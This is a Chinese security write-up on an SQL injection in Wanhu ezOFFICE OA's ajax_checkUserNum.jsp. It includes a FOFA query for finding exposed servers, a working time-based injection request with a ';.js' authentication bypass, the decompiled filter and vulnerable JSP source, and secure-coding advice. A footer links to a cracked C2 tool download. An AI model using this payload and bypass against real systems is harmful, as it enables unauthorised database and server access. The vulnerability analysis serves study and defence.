万户OA ajax_checkUserNum.jsp SQL注入漏洞


0x01 产品简介

万户OA ezoffice 是万户网络协同办公产品多年来一直将主要精力致力于中高端市场的一款OA协同办公软件产品,统一的基础管理平台,实现用户数据统一管理、权限统一分配、身份统一认证。统一规划门户网站群和协同办公平台,将外网信息维护、客户服务、互动交流和日常工作紧密结合起来,有效提高工作效率。

0x02 漏洞概述

万户 ezOFFICE ajax_checkUserNum.jsp 接口存在SQL注入漏洞,未授权的攻击者可利用此漏洞获取数据库权限,深入利用可获取服务器权限。

0x03 复现环境

本地环境 OR FOFA:app="ezOFFICE协同管理平台" || app="万户ezOFFICE协同管理平台" || app="万户网络-ezOFFICE"

漏洞复现

GET /defaultroot/modules/hrm/hr/employee/ajax_checkUserNum.jsp;.js?add=0&empId=1%1eWAITFOR%1eDELAY%1e'0:0:5' HTTP/1.1
Host: 192.168.22.187:7001

延时 5 秒

延时 3 秒

漏洞分析

万户 ezOFFICE 鉴权

其主要过滤逻辑在 SetCharacterEncodingFilter 类的 doFilter 来实现,代码如下:

public void doFilter(ServletRequest var1, ServletResponse var2, FilterChain var3) throws IOException, ServletException {
        HttpServletResponse var4 = (HttpServletResponse)var2;
        HttpServletRequest var5 = (HttpServletRequest)var1;
        PropertiesUtil.getInstance(var5);
        String var6 = PropertiesUtil.getInstance(var5).getRootPath();
        boolean var7 = false;
        SecurityList var8 = SecurityList.getInstance();
        String var9 = var5.getRequestURI();
        String var10 = var5.getContextPath();
        String var11 = var9.substring(var10.length());
        if (var11.indexOf("/iWebOfficeSign/OfficeServer.jsp") >= 0) {
            var3.doFilter(var1, var2);
        } else {
            if (this.ignore || var1.getCharacterEncoding() == null) {
                String var12 = this.selectEncoding(var1);
                if (var12 != null) {
                    var1.setCharacterEncoding(var12);
                }
            }

            if (var11.indexOf("/xfservices/GeneralWeb") < 0 && var11.indexOf("/services/ExchangeService") < 0) {
                UrlrewriteUtil var22 = new UrlrewriteUtil();
                String var13 = var5.getParameter("whir_new_verifyCode") == null ? "" : var5.getParameter("whir_new_verifyCode").toString();
                String var14 = var22.createNewUrl(var11, var5);
                if (var14 != null && !var14.equals("")) {
                    var4.sendRedirect(var6 + var14);
                    return;
                }

                String var15 = "";
                String var16 = "";
                if (var11.lastIndexOf(".") >= 0) {
                    var16 = var11.substring(var11.lastIndexOf("."));
                }

                if (var16 != null && var16.toLowerCase().equals(".jspx")) {
                    var4.sendRedirect(var6 + "/login.jsp");
                    return;
                }

                HttpSession var17 = var5.getSession();
                if ((var16.equals("") || var16.equals(".jsp") || var16.equals(".vm")) && this.needSecurity && var11.indexOf("/evo/weixin/") < 0 && var11.indexOf("/portal/") < 0 && var11.indexOf("/upgrade/") < 0 && var11.indexOf("/public/edit/") < 0 && !var8.getNosessionWhiteList().contains(var11)) {
                    if (var17.getAttribute("userId") == null || var17.getAttribute("userId").toString().equals("") || var17.getAttribute("userId").toString().equals("null")) {
                        if (var11.indexOf("/evo/sp/") >= 0) {
                            var4.sendRedirect(var6 + "/evo/sp/login.jsp");
                        } else {
                            var4.sendRedirect(var6 + "/public/messages/overtime.jsp");
                        }

                        logger.error("session 过滤 为空的请求:" + var11);
                        return;
                    }

                    String var18 = var17.getAttribute("userId").toString();
                    String var19 = var5.getParameter("common_whir_formUserId");
                    if (var19 != null && !var19.equals("") && !var19.equals(var18)) {
                        var4.sendRedirect(var6 + "/login.jsp");
                        return;
                    }
                }

                if (var11.endsWith("/Logon!logon.action") && this.needSecurity && !var11.equals("/Logon!logon.action")) {
                    var4.sendRedirect(var6 + "/public/messages/illegal.jsp");
                    return;
                }

                if (var5.getHeader("referer") != null) {
                    var15 = var5.getHeader("referer");
                } else {
                    var7 = true;
                }

                if (var7 && this.needSecurity && !var13.equals("1") && (var16.equals("") || var16.equals(".jsp") || var16.equals(".vm") || var16.equals(".acion")) && var11.indexOf("/evo/weixin/") < 0 && var11.indexOf("/portal/") < 0 && var11.indexOf("/upgrade/") < 0 && var11.indexOf("/public/edit/") < 0 && !var8.getPageWhiteList().contains(var11)) {
                    logger.debug("request_shorturi3:" + var11);
                    String var24 = var1.getRemoteAddr();
                    var8.addPageWhiteList_bar(var11, var24);
                    var5.getRequestDispatcher("/login.jsp").forward(var1, var2);
                    return;
                }

                if (var7) {
                    if (!var8.getPageWhiteList().contains(var11)) {
                    }
                } else {
                    boolean var23 = false;
                    List var25 = var8.getServiceWhiteList();
                    if (var25 != null && var25.size() > 0) {
                        for(int var20 = 0; var20 < var25.size(); ++var20) {
                            if (var15.startsWith("" + var25.get(var20))) {
                                var23 = true;
                            }
                        }
                    }

                    if (!var23) {
                    }
                }

                var3.doFilter(var1, var2);
            } else {
                if (!this.judgeIsSecurityIP((HttpServletRequest)var1)) {
                    return;
                }

                MAPIHttpServletRequestWrapper var21 = new MAPIHttpServletRequestWrapper((HttpServletRequest)var1);
                if (var21.haveXXE()) {
                    return;
                }

                var3.doFilter(var21, var2);
            }

        }
    }

其中两个关键点如下

  • 通过 String var9 = var5.getRequestURI(); 获取 url 存在缺陷,可以使用;.js来绕过下面获取文件后缀判断从而绕过 为jsp时的鉴权。
  • 如果请求路径包含/iWebOfficeSign/OfficeServer.jsp,直接放行请求。(这也是网上很多POC里用到的方式之一)

sql注入部分

文件源码如下,进行简单的代码审计

<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
response.setHeader("Cache-Control","no-store");
response.setHeader("Pragma","no-cache");
response.setDateHeader ("Expires", 0);

String add = request.getParameter("add");//1--添加新用户,2--修改用户
String message = ",不能恢复删除的用户!";
if("1".equals(add)){
    message = ",不能添加新用户!";
}else if("2".equals(add)){
    message = ",不能修改该用户!";
}

com.whir.common.init.DogManager dm = com.whir.common.init.DogManager.getInstance();
String[] dogInfo = (String[]) dm.getDogkey(); 
String empId = request.getParameter("empId");
com.whir.ezoffice.customdb.common.util.DbOpt dbopt = null;
try{
    dbopt = new com.whir.ezoffice.customdb.common.util.DbOpt(); 

    String userAccounts = dbopt.executeQueryToStr("select USERACCOUNTS from org_employee where emp_id="+empId);
    if(userAccounts!=null&&!"".equals(userAccounts)&&!"null".equals(userAccounts)){
        String sql = "select count(emp_id) from org_employee where domain_id="+session.getAttribute("domainId")+" and USERISDELETED=0 and USERACCOUNTS is not null and USERACCOUNTS <> ' '";
        String num = dbopt.executeQueryToStr(sql);

        if(dogInfo!=null&&!"".equals(dogInfo[1])){
            if(Integer.parseInt(num)>=Integer.parseInt(dogInfo[1])){
                out.print("当前用户数"+num+",授权用户数"+dogInfo[1]+message);
            }
        }
    }

    dbopt.close();
}catch(Exception ee){
    ee.printStackTrace();
}finally{
    dbopt.close();
}
%>

朴实无华的sql拼接:通过 request.getParameter 获取 empId 值后直接拼接进sql语句,造成SQL注入漏洞,add 参数可有可无。

最后

安全编码,针对获取 url 请使用 getServletPath() 来处理 ! 不要使用 getRequestURL() 或者 getRequestURI()!

其他万户OA 相关漏洞
万户 ezOFFICE selectAmountField.jsp SQL注入漏洞
万户OA系列漏洞

参考

  • https://xz.aliyun.com/t/15390
  • https://xz.aliyun.com/t/7544
  • https://www.cnblogs.com/depycode/p/16124191.html

手机扫码阅读

万户OA selectAmountField.jsp SQL注入漏洞

C2工具vshell最新4.9.3版下载(带license)

评 论